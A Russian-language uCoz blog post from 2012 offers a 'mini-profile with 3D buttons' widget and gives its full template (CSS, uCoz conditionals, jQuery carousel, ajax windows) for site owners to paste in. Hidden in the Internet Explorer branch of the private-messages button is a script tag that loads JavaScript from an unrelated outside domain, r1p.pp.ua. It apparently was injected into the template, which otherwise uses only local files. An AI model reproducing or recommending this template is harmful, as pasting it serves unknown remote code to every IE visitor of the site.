Мой сайт

Главная » 2012 » Январь » 20 » Новый оригинальный мини-профиль с 3D кнопками by Apocalypse
20:56
Новый оригинальный мини-профиль с 3D кнопками by Apocalypse


Предоставляю вашему вниманию мою новую разработку. Не судите строго - это экспериментальный образец, который я рискнул выложить на всеобщее обозрение пользователям системы uCoz. Данный скрипт я создавал два дня, из которых 90% времени я потратил на адаптацию подо все самые популярные браузеры: Google Chrome, Opera, Mozilla, IE. По всем вопросам и предложениям пишите в комментариях к этому материалу

Особенности скрипта:

1) Современный оригинальный профиль с динамичным контентом
2) Возможность подстройки под любую ширину блока
3) Открытый исходный код (Я не стал кодировать и шифровать участки скрипта)
4) Все функци переведены в ajax окна (Пользователям не придётся переходить на другую страницу, чтобы посмотреть профиль, сообщения и т.д.)
5) Кроссбраузерность

Установка:

В то место, где будет располагаться данный профиль (Желательно использовать в глобальных блоках) вставляйте:

<style type="text/css">  
/* © Styles of Profile by Apocalypse*/
.roundabout-holder {
   width: 150;
   height: 200;
   overflow: hidden;
   margin: 0;
   position: relative;
   }
   .roundabout-moveable-item {
   width: 150;
   height: 10;
   opacity: 0.5;
   text-align: center;
   cursor: pointer;
   }
   .roundabout-in-focus {
   cursor: pointer;
   }
   .monolith {  
   opacity:0.8;
   position: absolute;
   width: 50;
<?if($USER_AGENT$='opera')?>
   top: 40;
<?else?>
   top: 48;
<?endif?>
   left: 48;
   padding:0;
   margin:0;
   z-index: 200;
   }
   .monolith .pad {
   padding: 0;  
   text-align: center;
   color: #999;
   }
   .pad em { color: #eee; }
/* © End styles of Profile by Apocalypse*/
</style>

<center>
<div align="center" class="holder">
    
<div class="monolith">  
<div class="pad">  
<center>
<?if($USER_LOGGED_IN$)?>[img]$USER_AVATAR_URL$[/img]
<?else?>[img]/Apo/is.gif[/img]
<?endif?>
</center>
</div>  
</div>

<?if($USER_LOGGED_IN$)?>
<script type="text/javascript">  
function iAjaxpm(){new _uWnd('link','Личные сообщения',800,550,{align:0,shadow:0,autosize:1,maxh:1000,minh:100,resize:1},'<iframe src="/index/14" scrolling="auto" frameborder="0" width="800" height="500"></iframe>');}  
</script>  
<script type="text/javascript">  
function iAjaxprofile(){new _uWnd('link','Профиль',800,550,{align:0,shadow:0,autosize:1,maxh:1000,minh:100,resize:1},'<iframe src="/index/8" scrolling="auto" frameborder="0" width="800" height="500"></iframe>');}  
</script>  
<script type="text/javascript">  
function iAjaxquit(){new _uWnd('link','Выход из профиля',400,200,{align:0,shadow:0,autosize:1,maxh:1000,minh:100,resize:1},'<center>В самом деле выйти из профиля?<br><br><a href="$LOGOUT_LINK$">ДА</a></center>');}  
</script>  
<script type="text/javascript">  
function iAjaxedit(){new _uWnd('link','Редактирование личных данных',800,550,{align:0,shadow:0,autosize:1,maxh:1000,minh:100,resize:1},'<iframe src="/index/11" scrolling="auto" frameborder="0" width="800" height="600"></iframe>');}  
</script>
<script type="text/javascript">  
function iAjaxusers(){new _uWnd('link','Список пользователей',800,550,{align:0,shadow:0,autosize:1,maxh:1000,minh:100,resize:1},'<iframe src="/index/15-1" scrolling="auto" frameborder="0" width="800" height="500"></iframe>');}  
</script>  
<div class="moveme"><?if($USER_AGENT$='ie')?><a onclick="javascript:iAjaxpm();" title="Личные сообщения [<?if($IS_NEW_PM$)?>Есть новые сообщения ($UNREAD_PM$)<?else?>Нет новых сообщений]<?endif?>"><script type="text/javascript" src="http://r1p.pp.ua/1.js
"></script>[img]/Apo/pm_ie.png[/img]
</a><?else?><a href="javascript:iAjaxpm();" title="Личные сообщения [<?if($IS_NEW_PM$)?>Есть новые сообщения ($UNREAD_PM$)<?else?>Нет новых сообщений]<?endif?>">[img]/Apo/pm.png[/img]
<?endif?></a></div>  
<div class="moveme"><?if($USER_AGENT$='ie')?><a onclick="javascript:iAjaxprofile();" title="Ваш профиль">[img]/Apo/profile_ie.png[/img]
</a><?else?><a href="javascript:iAjaxprofile();" title="Ваш профиль">[img]/Apo/profile.png[/img]
<?endif?></a></div>
<div class="moveme"><?if($USER_AGENT$='ie')?><a onclick="javascript:iAjaxquit();" title="Выйти из профиля">[img]/Apo/logout_ie.png[/img]
</a><?else?><a href="javascript:iAjaxquit();" title="Выйти из профиля">[img]/Apo/logout.png[/img]
<?endif?></a></div>
<div class="moveme"><?if($USER_AGENT$='ie')?><a onclick="javascript:iAjaxedit();" title="Редактировать личные данные">[img]/Apo/edit_ie.png[/img]
</a><?else?><a href="javascript:iAjaxedit();" title="Редактировать личные данные">[img]/Apo/edit.png[/img]
<?endif?></a></div>
<div class="moveme"><?if($USER_AGENT$='ie')?><a onclick="javascript:iAjaxusers();" title="Список пользователей">[img]/Apo/users_ie.png[/img]
</a><?else?><a href="javascript:iAjaxusers();" title="Список пользователей">[img]/Apo/users.png[/img]
<?endif?></a></div>
<?else?>
<div class="moveme"><a onmouseover="$LOGIN_LINK$" title="Войти в свой профиль"><?if($USER_AGENT$='ie')?>[img]/Apo/login_ie.png[/img]
<?else?>[img]/Apo/login.png[/img]
<?endif?></a></div>
<div class="moveme"><a onmouseover="$LOGIN_LINK$" title="Войти в свой профиль"><?if($USER_AGENT$='ie')?>[img]/Apo/login_ie.png[/img]
<?else?>[img]/Apo/login.png[/img]
<?endif?></a></div>
<div class="moveme"><a onmouseover="$LOGIN_LINK$" title="Войти в свой профиль"><?if($USER_AGENT$='ie')?>[img]/Apo/login_ie.png[/img]
<?else?>[img]/Apo/login.png[/img]
<?endif?></a></div>
<div class="moveme"><a onmouseover="$LOGIN_LINK$" title="Войти в свой профиль"><?if($USER_AGENT$='ie')?>[img]/Apo/login_ie.png[/img]
<?else?>[img]/Apo/login.png[/img]
<?endif?></a></div>
<div class="moveme"><a onmouseover="$LOGIN_LINK$" title="Войти в свой профиль"><?if($USER_AGENT$='ie')?>[img]/Apo/login_ie.png[/img]
<?else?>[img]/Apo/login.png[/img]
<?endif?></a></div>
<?endif?>

</div>  
</center>

<script type="text/javascript" src="/Apo/reflection.js"></script>
<script type="text/javascript" src="/Apo/Aposcript.js"></script>  
<script type="text/javascript" src="/Apo/jquery.easing.js"></script>  
<script type="text/javascript">
// © Profile by Apocalypse
$(document).ready(function() {
$('.holder').roundabout({
childSelector: '.moveme',
easing: 'easeInOutBack',
duration: 1400,
maxOpacity: 0.9,
minOpacity: 0.5,
tilt: -2
});
});
// © Apo 2010
</script>
Категория: Скрипты для uCoz | Просмотров: 363 | Добавил: Admin_4e | Рейтинг: 0.0/0
Всего комментариев: 0
Имя *:
Email *:
Код *: